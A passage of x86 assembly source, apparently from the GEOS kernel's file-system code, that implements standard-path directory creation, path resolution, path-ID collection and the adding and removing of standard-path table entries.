adjustment until we're back where we started. ; ; To make life simpler, we assume we'll be successful in creating the ; components, so we clear the SPA_DOES_NOT_EXIST_LOCALLY as we're ; working our way up the tree. It doesn't hurt anything if we end up ; being wrong... ; ; mov_tr bx, ax ; bx <- current S.P. clr ax mov ss:[notifyPath], ax push ax ; push sentinel push ax ; ditto LocalPrevChar esdi ; point to last char of component, as ; it'll be for everything else LoadVarSeg ds, ax ; for clearing SPA_D_N_E_L SBCS < mov al, C_BACKSLASH ; load these once > DBCS < mov ax, C_BACKSLASH > mov cx, -1 findComponentLoop: mov si, bx CheckHack <type pathAttrs eq 1> ; ; Convert the S.P. to a byte index for the pathAttrs ; array and clear the SPA_DOES_NOT_EXIST_LOCALLY flag. ; push si ; save component SP constant for ; possibly setting notifyPath push di ; save component end shr si andnf ds:[pathAttrs][si], not mask SPA_DOES_NOT_EXIST_LOCALLY ; ; Now fetch the parent path and stop if we've reached SP_TOP, as we've ; no need to create *that* ; call FileGetStdPathParent cmp bx, SP_TOP je processComponents ; ; Scan backward for the next backslash, leaving DI pointing to the ; last char of the component before it. CX started at -1 and continues ; to decrement... ; std SBCS < repne scasb > DBCS < repne scasw > cld jmp findComponentLoop processComponents: ; ; All components have been found. It's now time to process them. ; On the stack we have all the successive offsets to the last ; char of each component, in the proper downward-travelling order, and ; a sentinel value of 0 to tell us when to stop. ; ; Point ds:dx to the start of the buffer holding the full path for ; the duration of the loop. ; mov bx, ss:[topLevelDisk] segmov ds, es ; ds:dx <- dir to create next ; ; Lock the FSIR shared for calling the FSD ; call FileLockInfoSharedToES ; for calling the FSD... processComponentLoop: ; ; Fetch the end of the next component. If 0, we've hit the sentinel ; and are finished. ; pop cx ; cx <- path end pop si ; si <- std path constant for ; this thing jcxz maybeNotify mov di, cx SBCS < mov {char}ds:[di+1], 0 ; terminate the path after the> DBCS < mov {wchar}ds:[di+2], 0 ; terminate the path after the> ; final char of the component ; ; Now call the FSD to create that directory, using the absolute path ; we've got in createBuf, pointed to by ds:dx ; xchg si, bx ; es:si <- DiskDesc ; bx <- standard path being ; created mov ax, FSPOF_CREATE_DIR shl 8 ; al is 0 to allow ; disk lock to be ; aborted mov di, DR_FS_PATH_OP push bp call DiskLockCallFSD pop bp xchg bx, si ; es:bx <- DiskDesc ; si <- std path constant ; ; Restore the backslash we biffed after this component, in case there's ; another one coming. ; mov di, cx SBCS < mov {char}ds:[di+1], C_BACKSLASH > DBCS < mov {wchar}ds:[di+2], C_BACKSLASH > jnc recordTopCreated ; => happy, so remember this ; as highest path created, ; if nothing above us was ; happy... ; ; Error occurred during the call. If it's ERROR_FILE_EXISTS, we're ; happy. Anything else and we have to bail. ; cmp ax, ERROR_FILE_EXISTS je processComponentLoop clearStackLoop: pop cx ; nuke path end pop si ; nuke std path const tst cx jnz clearStackLoop stc maybeNotify: mov ax, ss:[notifyPath] ;AX <- highest standard path ; created jc unlockFSIR tst ax jz unlockFSIR ; If we created the directory, then send out a notification push si, cx, dx mov si, FCNT_ADD_SP_DIRECTORY call FSP_GenerateNotify pop si, cx, dx unlockFSIR: ; ; Creation is complete, either successfully or not, so release the ; FSIR and return. ; call FSDUnlockInfoShared .leave ret recordTopCreated: cmp ss:[notifyPath], SP_NOT_STANDARD_PATH jne processComponentLoop mov ss:[notifyPath], si jmp processComponentLoop FileCreateLocalStdPath endp FileSemiCommon ends ;------------------------------------------------------- Filemisc segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileResolveStandardPath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the actual path to a file, resolving links and standard paths, etc. NOTE: If one of the components of the CWD is a link, will NOT resolve that component. CALLED BY: GLOBAL PASS: ds:dx = path to find es:di = buffer in which to place the result. cx = size of that buffer ax = FRSPFlags RETURN: carry set if file not found: bx = destroyed carry clear if found: es:di = points to null-terminator at end of absolute path. bx = disk handle al = FileAttrs of found file/dir DESTROYED: ah, cx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 4/27/92 Initial version chrisb 10/19/92 Modified to also work on standalone systems %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if FULL_EXECUTE_IN_PLACE CopyStackCodeXIP segment resource FileResolveStandardPath proc far mov ss:[TPD_dataBX], handle FileResolveStandardPathReal mov ss:[TPD_dataAX], offset FileResolveStandardPathReal GOTO SysCallMovableXIPWithDSDX FileResolveStandardPath endp CopyStackCodeXIP ends else FileResolveStandardPath proc far FALL_THRU FileResolveStandardPathReal FileResolveStandardPath endp endif FileResolveStandardPathReal proc far flags local FRSPFlags push ax resultBuf local fptr.char push es, di resultBufSize local word push cx resultDisk local word resultAttrs local FileAttrs originalDisk local word ForceRef flags ; FRSP_callback ForceRef resultBufSize ; FRSP_callback uses si, dx, es .enter clr ss:[originalDisk] call FileLockInfoSharedToES ; ; If the passed path contains a drive specifier, then push to ; the root of that drive ; push dx call DriveLocateByName pop dx call FSDUnlockInfoShared jc done ; no drive known of that name tst si jz opOnPath ; ; A drive was passed, so get its disk handle, and push to the root ; clr bx call FileGetDestinationDisk jc done mov ss:[originalDisk], bx mov cx, bx jcxz opOnPath ; we won't pop, so don't push call PushToRoot jc done opOnPath: mov bx, bp mov si, SEGMENT_CS mov di, offset FRSP_callback call FileOpOnPathFar ; ; Restore the cwd, if we changed it ; pushf tst ss:[originalDisk] jz afterPop ;this is not needed, as non-zero originalDisk means we've pushed, fixes ;dir stack leak ; test ss:[originalDisk], DISK_IS_STD_PATH_MASK ; jnz afterPop call FilePopDir afterPop: popf jc done mov di, ss:[resultBuf].offset mov bx, ss:[resultDisk] mov al, ss:[resultAttrs] done: .leave ret FileResolveStandardPathReal endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FRSP_callback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Callback routine to see if the destination path exists in the current directory and build an absolute representation of it into the given buffer, getting its disk handle, etc. CALLED BY: FileResolveStandardPath via FileOpOnPath PASS: ds:dx = file being sought es = FSIR locked shared si = disk handle ss:bx = frame inherited from FileResolveStandardPath RETURN: carry set if file not found: ax = error code DESTROYED: bp, cx, di, si PSEUDO CODE/STRATEGY: If we're in a standard path enumeration, then prepend the CWD in our call to FileConstructFullPath, otherwise, just use the passed disk handle. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 2/28/92 Initial version chrisb 10/92 changed to return logical, not actual disk handle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FRSP_callback proc far uses es .enter inherit FileResolveStandardPathReal if FULL_EXECUTE_IN_PLACE EC< push bx, si > EC< movdw bxsi, dsdx > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx, si > endif mov bp, bx ; ss:bp <- frame ; ; If asked to, then always build in first directory. ; clr cl ; no attribute set (assume file) test ss:[flags], mask FRSPF_RETURN_FIRST_DIR jnz buildResult ; ; If passed null path or ".", then resolve to current dir. ; mov cl, mask FA_SUBDIR mov di, dx SBCS < cmp {char}ds:[di], 0 > DBCS < cmp {wchar}ds:[di], 0 > je buildResult SBCS < cmp {word}ds:[di], '.' or (0 shl 8) > DBCS < cmp {wchar}ds:[di], '.' > DBCS < jne notCurrentDir > DBCS < cmp {wchar}ds:[di][2], 0 > je buildResult DBCS <notCurrentDir: > ; ; Call the FSD to see if the thing exists. ; mov di, DR_FS_PATH_OP mov ax, FSPOF_GET_ATTRIBUTES shl 8 ; al is clear so ; disk lock may be ; aborted push bp call DiskLockCallFSD pop bp jc done buildResult: ; ; Store the disk & file attributes into the result buffer first. ; les di, ss:[resultBuf] mov ss:[resultAttrs], cl mov ss:[resultDisk], si ; ; Now build the full path into the buffer, using the current directory, ; if appropriate. ; mov si, dx push dx mov dx, ss:[flags] andnf dx, mask FRSPF_ADD_DRIVE_NAME ; non-zero if want ; drive spec. clr bx ; prepend current dir mov cx, ss:[resultBufSize] call FileConstructFullPath mov ss:[resultDisk], bx mov ss:[resultBuf].offset, di pop dx clc done: .leave ret FRSP_callback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileGetCurrentPathIDs %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return an array of FilePathID structures for the current path, for use in handling file-change notification messages. CALLED BY: GLOBAL PASS: ds = segment of LMem block in which to allocate the array RETURN: carry set on error: ax = FileError carry clear if ok: ax = chunk handle of array ds = fixed up DESTROYED: nothing WARNING: This routine MAY resize the LMem block, moving it on the heap and invalidating stored segment pointers and current register or stored offsets to it. PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 11/22/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileGetCurrentPathIDs proc far uses si, di, bp, dx, bx, cx .enter ; ; Allocate an empty chunk in the block initially, so we've got a ; chunk handle we can use. ; mov al, mask OCF_DIRTY clr cx call LMemAlloc ; ; Pass ss:bx -> chunk, segment to our getID callback routine. ; CheckHack <@CurSeg eq Filemisc> push ds, ax mov bx, sp SBCS < mov dx, C_PERIOD or C_NULL shl 8 ; '.', null > SBCS < push dx > DBCS < LocalClrChar dx ; null > DBCS < push dx > DBCS < mov dx, C_PERIOD ; '.' > DBCS < push dx > segmov ds, ss ;DS:DX - ptr to '.',0 mov dx, sp mov si, SEGMENT_CS mov di, offset getID call FileOpOnPathFar pop dx ;Get '.',0 off stack DBCS < pop dx > pop ds, dx ; ds <- fixed-up segment, ; dx <- chunk handle xchg ax, dx ; ax <- chunk handle, in case ok ; dx <- error code, in case not ok jnc exit ; ; ERROR_FILE_NOT_FOUND is a normal side-effect of how we have to do ; things, unless the resulting array is zero-sized. ; cmp dx, ERROR_FILE_NOT_FOUND jne freeChunk mov si, ax cmp {word}ds:[si], -1 ; any memory? clc jne exit ; yes, thus happiness freeChunk: ; ; Free the chunk on error and return the error code in AX ; call LMemFree mov_tr ax, dx stc exit: .leave ret ;-------------------- ; Fetch the ID for the current path. ; ; Pass: si = disk handle ; es = FSIR ; ss:bx -> array chunk ; data block segment ; Return: carry set on error: ; ax = ERROR_INSUFFICIENT_MEMORY ; carry clear if ok: ; ax = destroyed ; Destroyed: si, di, dx getID: push ds ; ; First fetch the ID from the IFS driver. ; mov di, DR_FS_CUR_PATH_GET_ID call DiskLockCallFSD ; ; Figure how big the array currently is and enlarge it to hold another ; FilePathID structure. ; push si movdw dssi, ({fptr}ss:[bx]) mov di, cx ; save high word ChunkSizeHandle ds, si, cx add cx, size FilePathID mov ax, si call LMemReAlloc pop ax ; ax <- disk handle jc allocErr ; ; Store the disk handle and ID in the new entry. ; mov si, ds:[si] add si, cx mov ds:[si-size FilePathID].FPID_disk, ax movdw <ds:[si-size FilePathID].FPID_id>, didx ; ; Return ERROR_FILE_NOT_FOUND so FileOpOnPath keeps going through the ; remaining components of this here path. ; mov ax, ERROR_FILE_NOT_FOUND getIDDone: stc mov ss:[bx].segment, ds ; store fixed up DS for next ; pass pop ds retf allocErr: ; ; If block has LMF_RETURN_ERRORS set, we can get an error back, so ; return an appropriate error ourselves. ; mov ax, ERROR_INSUFFICIENT_MEMORY stc jmp getIDDone FileGetCurrentPathIDs endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileForEachPath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Iterate over all active paths (the current directories and any directory stack entries for all existing threads). CALLED BY: GLOBAL PASS: di:si = virtual far pointer to callback routine cx, dx, bp = initial data to pass to callback RETURN: cx, dx, bp = as returned from last call carry - set if callback forced early termination of processing. ax = value returned by callback if early termination DESTROYED: ax, di, si PSEUDO CODE/STRATEGY: CALLBACK ROUTINE: Pass: di = disk handle of path to process bx = memory handle of path to process ds = idata cx, dx, bp = data as passed to ThreadProcess or returned from previous callback Return: carry - set to end processing cx, dx, bp = data to send on or return. ax = data to return if carry set Can Destroy: di, si, es KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/24/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileForEachPath proc far uses ds, bx callback local fptr.far .enter if FULL_EXECUTE_IN_PLACE EC< xchg bx, di > EC< call ECAssertValidFarPointerXIP > EC< xchg bx, di > endif ; ; Lock the FSIR exclusively (any shared lock(s) held by this thread ; are automatically upgraded...) so nothing can change its path ; stack while we're traversing things. ; ; We need this, rather than a separate ThreadLock as we used to ; have, to prevent deadlock, as there are cases where the FSIR ; is locked shared and we must go for the pathLock, and other ; places where we've got the pathLock and need to get the FSIR ; exclusive. Using the FSIR only to control this, while a bit ; heavy-handed (it stops *all* file activity cold) does solve this ; rather nasty problem gracefully, and traversing the path stacks ; shouldn't take long. ; call FSDLockInfoExcl mov ss:callback.offset, si mov ss:callback.segment, di mov di, cs mov si, offset FFEP_callback call ThreadProcess ; ; Traversal complete, so release exclusive access to the FSIR. This ; will automatically downgrade to a shared lock if was locked shared ; before. ; call FSDUnlockInfoExcl .leave ret FileForEachPath endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FFEP_callback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Callback function for FilePathProcess via ThreadProcess. Performs all the actual work of the traversal... CALLED BY: ThreadProcess PASS: bx = handle of thread whose directory stack is to be processed ds = idata ss:bp = above frame containing routine to call RETURN: carry set if callback function tells us to stop DESTROYED: si, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/24/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FFEP_callback proc far uses es, bx callback local fptr.far ; callback vector for SysCallCallbackBP .enter inherit ; ; Locate the stack segment for the thread so we can get at its ; TPD_curPath. ; push ax call ThreadFindStack mov es, ax pop ax mov bx, es:[TPD_curPath] pathLoop: tst bx jz done mov di, ds:[bx].HM_otherInfo call SysCallCallbackBPFar jc done push ax call MemLock mov es, ax mov di, es:[FP_prev] call MemUnlock pop ax mov bx, di jmp pathLoop done: .leave ret FFEP_callback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StdPathDoesntExist %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Deal with a standard directory not existing, creating it locally if the standard directory itself, not one of its subdirectories, is what was being changed to. CALLED BY: SetCurPathUsingStdPath, SetCurPathUsingStdPathWhenStdPathsNotEnabled PASS: ds:dx = path tail bx = StandardPath RETURN: carry set if path tail non-empty or local couldn't be created: ax = ERROR_PATH_NOT_FOUND carry clear if local version successfully created: ax = DirPathInfo DESTROYED: ax, es, di, si, cx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: If local copy is created, pathAttrs for the std path will have its SPA_DOES_NOT_EXIST_LOCALLY bit cleared. REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 6/ 7/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if FULL_EXECUTE_IN_PLACE CopyStackCodeXIP segment resource StdPathDoesntExist proc far mov ss:[TPD_dataBX], handle StdPathDoesntExistReal mov ss:[TPD_dataAX], offset StdPathDoesntExistReal GOTO SysCallMovableXIPWithDSDX StdPathDoesntExist endp CopyStackCodeXIP ends else StdPathDoesntExist proc far FALL_THRU StdPathDoesntExistReal StdPathDoesntExist endp endif StdPathDoesntExistReal proc far uses ds, es, dx, bx, cx pathBuffer local PathName .enter ; ; If a standard path doesn't exist in any form, we must create it ; locally, unless there's a tail to this particular dog... ; mov si, dx SBCS < cmp {byte} ds:[si], 0 > DBCS < cmp {wchar}ds:[si], 0 > jnz noExisteeNoCreatee ; ; Build the full path ; mov ax, bx ; standard path segmov es, ss lea di, ss:[pathBuffer] mov cx, size pathBuffer ; cx <- buffer size clr dx ; no drive name, please call FileConstructFullPath jc noExisteeNoCreatee lea dx, ss:[pathBuffer] ; ; es:dx - full path ; es:di - points after end of path ; ax - StandardPath ; bx - top level disk handle ; call FileCreateLocalStdPath jc done mov ah, DirPathInfo <1,0,0> shr 8; set DirPathInfo for the ; thing, which we now know ; exists locally... jmp done ; (carry must be clear or we'd ; have branched above...) noExisteeNoCreatee: ; ; Setting to a directory under a std path. If that doesn't exist, ; it's not our fault or responsibility, so return a reasonable error. ; mov ax, ERROR_PATH_NOT_FOUND stc done: .leave ret StdPathDoesntExistReal endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileAddStandardPathDirectory %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add the specified directory to the standard path table CALLED BY: GLOBAL PASS: ds:dx - ptr to NULL-terminated path ax - StandardPath to add as bx - FileAddStandardPathFlags RETURN: carry - set if error ax - FileError (if an error) ERROR_PATH_NOT_FOUND DESTROYED: cx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 4/13/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if FULL_EXECUTE_IN_PLACE CopyStackCodeXIP segment resource FileAddStandardPathDirectory proc far mov ss:[TPD_dataBX], handle FileAddStandardPathDirectoryReal mov ss:[TPD_dataAX], offset FileAddStandardPathDirectoryReal GOTO SysCallMovableXIPWithDSDX FileAddStandardPathDirectory endp CopyStackCodeXIP ends else FileAddStandardPathDirectory proc far FALL_THRU FileAddStandardPathDirectoryReal FileAddStandardPathDirectory endp endif FileAddStandardPathDirectoryReal proc far uses bx, dx, es, si, di spath local StandardPath push ax newSize local word .enter EC < call ECCheckAddDeleteStandardPathParams > mov si, dx ;ds:si <- ptr to string ; ; Lock the standard paths block for exclusive access, since ; we'll be resizing it and writing to it. ; call FSP_LockStandardPaths ; ; Find the entries (if any) for the StandardPath we're adding ; call FSP_FindStandardPathEntry jnc doneNoNotify ;branch if exists, no error ; ; Resize the block larger to make room for our string. ; If there are no entries in this section currently, we need to ; also add a second NULL to indicate the end of the section. ; mov dl, 0 ;dl <- XXX: preserve flags mov ax, es:SDP_blockSize ;ax <- current size jnz haveEntries ;branch if entries exist LocalNextChar esax ;ax <- +space for 2nd NULL inc dl ;dl <- flag: 2nd NULL needed haveEntries: inc cx ;cx <- 1 char for NULL DBCS < shl cx, 1 ;cx <- size for DBCS> push cx add ax, cx ;ax <- new size mov ss:newSize, ax clr ch ;ch <- HeapAllocFlags call MemReAlloc pop cx ;cx <- size w/NULL jc doneNoNotify ;branch if error mov es, ax ;es <- (new) seg addr of string ; ; Shift existing data up to make room for our string. ; ; bytes = old_end - insertion_point ; source = old_end-1 ; dest = new_end-1 ; push ds, si, di, cx segmov ds, es mov si, ds:SDP_blockSize mov cx, si ;cx <- old size sub cx, di ;cx <- # of bytes to move mov di, ss:newSize dec di ;es:di <- ptr to end-1 dec si ;ds:si <- ptr to end of data std ;set for shift upwards rep movsb ;shift me jesus cld ;clear for normal behavior pop ds, si, di, cx ; ; Copy our string in -- we use movsb because we have the size ; in bytes, not the length. ; push cx rep movsb ;copy me jesus pop cx ; ; If the section didn't exist before, add in a 2nd NULL to indicate ; the end of the section we've just created, and adjust the amount ; we use for adjusting the pointers to account for it. ; tst dl ;need 2nd NULL? jz no2ndNull ;branch if not clr ax LocalPutChar esdi, ax ;NULL-terminate me jesus LocalNextChar escx ;cx <- +space for 2nd NULL no2ndNull: ; ; Adjust the pointers for any strings after ours ; mov ax, ss:spath ;ax <- StandardPath call FSP_AdjustStandardPathPtrs ; ; Release the standard path block *now* to prevent deadlock when ; FileForEachPath attempts to grab the FSIR for exclusive access. ; ; XXX: This still leaves a window where-in another thread can use ; an incorrect cached DirPathInfo, but... Perhaps this invalidation ; should happen at the very start? Then there'd be a window for ; another thread to store a cached DirPathInfo. There's nothing ; to be done, given the need to have the FSIR shared when grabbing ; the stdDirPaths block shared... ; push ax call MemDowngradeExclLock pop ax ; ; Invalidate all the paths changed by this ; call FSP_InvalidatePaths call MemUnlockShared jc done ;branch if error ; ; Send a notification indicating the change ; mov si, FCNT_ADD_SP_DIRECTORY call FSP_GenerateNotify clc ;carry <- no error done: .leave ret doneNoNotify: call MemUnlockExcl jmp done FileAddStandardPathDirectoryReal endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileDeleteStandardPathDirectory %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Delete the specified directory from the standard path table CALLED BY: GLOBAL PASS: ds:dx - ptr to NULL-terminated path ax - StandardPath it was added as RETURN: carry - set if error ax - FileError (if an error) ERROR_PATH_NOT_FOUND DESTROYED: dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 4/13/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if FULL_EXECUTE_IN_PLACE CopyStackCodeXIP segment resource FileDeleteStandardPathDirectory proc far mov ss:[TPD_dataBX], handle FileDeleteStandardPathDirectoryReal mov ss:[TPD_dataAX], offset FileDeleteStandardPathDirectoryReal GOTO SysCallMovableXIPWithDSDX FileDeleteStandardPathDirectory endp CopyStackCodeXIP ends else FileDeleteStandardPathDirectory proc far FALL_THRU FileDeleteStandardPathDirectoryReal FileDeleteStandardPathDirectory endp endif FileDeleteStandardPathDirectoryReal proc far uses bx, si, ds, es, di spath local StandardPath push ax .enter EC < call ECCheckAddDeleteStandardPathParams > mov si, dx ;ds:si <- ptr to string ; ; Lock the standard paths block for exclusive access, since ; we'll be resizing it and writing to it. ; call FSP_LockStandardPaths ; ; Find the entries (if any) for the StandardPath we're adding ; call FSP_FindStandardPathEntry mov ax, ERROR_PATH_NOT_FOUND jc doneNoNotify ;branch if not found ; ; Shift the strings after ours down. ; ; source = ptr past our string ; dest = ptr to our string ; bytes = (old end) - (source) ; inc cx ;cx <- +1 char for NULL segmov ds, es ; ; If ours is the only string in the section, we want to ; delete the additional NULL as well. ; mov si, ss:spath ;si <- StandardPath dec si ;si <- offset to offset CheckHack <SP_TOP eq 1> mov ax, ds:SDP_pathOffsets[si][2] sub ax, ds:SDP_pathOffsets[si] DBCS < shr ax, 1 ;ax <- # of chars> dec ax ;ax <- -1 char for 2nd NULL> cmp cx, ax ;only string in section? EC < ERROR_A GASP_CHOKE_WHEEZE > jb no2ndNULL ;branch if not only string inc cx ;cx <- +space for 2nd NULL no2ndNULL: ; ; Shift the data down ; DBCS < shl cx, 1 ;cx <- # bytes (DBCS)> mov si, di ;ds:si <- ptr to our string add si, cx ;ds:si <- ptr past our string push cx mov cx, ds:SDP_blockSize sub cx, si ;cx <- # of bytes to move rep movsb ;shift me jesus pop cx ; ; Resize the block smaller (should never error) ; push cx mov ax, ds:SDP_blockSize ;ax <- current size sub ax, cx ;ax <- new size clr ch ;ch <- HeapAllocFlags call MemReAlloc EC < ERROR_C GASP_CHOKE_WHEEZE ;> pop cx mov es, ax ;es <- (new) seg addr ; ; Adjust the pointers after ours accordingly ; mov ax, ss:spath ;ax <- StandardPath neg cx ;cx <- adjust pointers down call FSP_AdjustStandardPathPtrs ; ; Invalidate all the paths changed by this ; push ax call MemDowngradeExclLock ;release exclusive access, ; but keep anyone else from ; dicking with the block pop ax call FSP_InvalidatePaths call MemUnlockShared jc done ;branch if error ; ; Send a notification indicating the change ; mov si, FCNT_DELETE_SP_DIRECTORY call FSP_GenerateNotify clc ;carry <- no error done: .leave ret ; ; Unlock the standard paths block ; doneNoNotify: call MemUnlockExcl jmp done FileDeleteStandardPathDirectoryReal endp if ERROR_CHECK COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ECCheckAddDeleteStandardPathParams %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Verify the params we're passed are reasonable CALLED BY: FileAddStandardPathDirectory() PASS: ds:dx - ptr to NULL-terminated path ax - StandardPath it was added as RETURN: none DESTROYED: none (flags preserved) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 4/13/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ECCheckAddDeleteStandardPathParams proc near uses es, di, cx .enter pushf ; ; To be a StandardPath, it must be odd, and in the legal range ; test ax, 0x1 ERROR_Z FILE_STANDARD_PATH_DIRECTORY_INVALID_STANDARD_PATH cmp ax, SP_NOT_STANDARD_PATH ERROR_E FILE_STANDARD_PATH_DIRECTORY_INVALID_STANDARD_PATH cmp ax, StandardPath ERROR_A FILE_STANDARD_PATH_DIRECTORY_INVALID_STANDARD_PATH ; ; Make sure the path we're passed is a reasonable length ; segmov es, ds mov di, dx ;es:di <- ptr to string call LocalStringLength ;cx <- string length cmp cx, 1024 ERROR_A FILE_STANDARD_PATH_DIRECTORY_INVALID_PATH_STRING popf .leave ret ECCheckAddDeleteStandardPathParams endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FSP_LockStandardPaths %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Lock the standard paths block CALLED BY: FileAddStandardPathDirectoryReal() FileDeleteStandardPathDirectoryReal() PASS: none RETURN: es - seg addr of standard paths block bx - handle of standard paths block DESTROYED: none PSEUDO CODE/STRATEGY: Lock using MemLockExcl() because we'll be resizing the block and writing to it, so we don't want someone else doing the same thing. KNOWN BUGS/SIDE EFFECTS/IDEAS: Will allocate and initialize a StandardPath block if none exists REVISION HISTORY: Name Date Description ---- ---- ----------- gene 4/13/93 Initial version ardeb 5/11/93 Added grabbing of FSIR, too, to prevent deadlock when invalidating current dirs. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FSP_LockStandardPaths proc near uses ax .enter LoadVarSeg es, ax mov bx, es:[loaderVars].KLV_stdDirPaths tst bx jz allocate lockBlock: call MemLockExcl mov es, ax .leave ret ; Allocate & initialize a StandardPath block. Look in ; kLoader.def for the structure of the block allocate: push cx, di, es mov ax, (size StdDirPaths) mov cx, ((mask HF_SHARABLE or mask HF_SWAPABLE) or \ ((mask HAF_LOCK or mask HAF_NO_ERR) shl 8)) mov bx, handle 0 ; to be owned by Kernel call MemAllocSetOwnerFar mov es, ax clr di mov ax, (size StdDirPaths) ; value to write mov cx, ax shr cx, 1 ; write this many words rep stosw call MemUnlock pop cx, di, es mov es:[loaderVars].KLV_stdDirPaths, bx jmp lockBlock FSP_LockStandardPaths endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FSP_FindStandardPathEntry %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the entries (if any) for the specified StandardPath CALLED BY: FileAddStandardPathDirectory() PASS: es - seg addr of standard paths block ax - StandardPath to find entries for ds:si - ptr to path to add RETURN: carry - set if not found or no entries z flag - set 